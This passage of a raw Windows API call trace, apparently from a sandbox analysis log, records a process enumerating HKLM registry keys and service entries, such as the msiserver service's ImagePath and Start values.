dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0224.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0224.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1850, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0224.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0224.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0224.585] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0224.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0224.585] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0224.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0224.585] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0224.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0224.585] RegCloseKey (hKey=0x150) returned 0x0 [0224.585] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0224.585] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0224.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0224.585] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0224.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0224.586] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0224.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0224.586] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0224.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0224.586] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0224.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.586] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0224.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0224.586] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0224.586] RegCloseKey (hKey=0x80000002) returned 0x0 [0224.586] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0224.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0224.586] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0224.587] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1850, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0224.587] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0224.587] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0224.587] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0224.587] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.587] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0224.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0224.588] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0224.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0224.588] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0224.588] RegCloseKey (hKey=0x14c) returned 0x0 [0224.588] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0224.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0224.588] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0224.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0224.588] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0224.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0224.588] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0224.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0224.589] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0224.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0224.589] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0224.589] RegCloseKey (hKey=0x150) returned 0x0 [0224.589] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0224.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0224.589] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0224.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0224.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1ad8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0224.589] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1850, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0224.590] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1ad8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0224.590] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1850, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0224.590] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1ad8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0224.590] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0224.590] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0224.590] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0224.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0224.591] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.591] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0224.591] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.591] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0224.591] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0224.591] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.591] 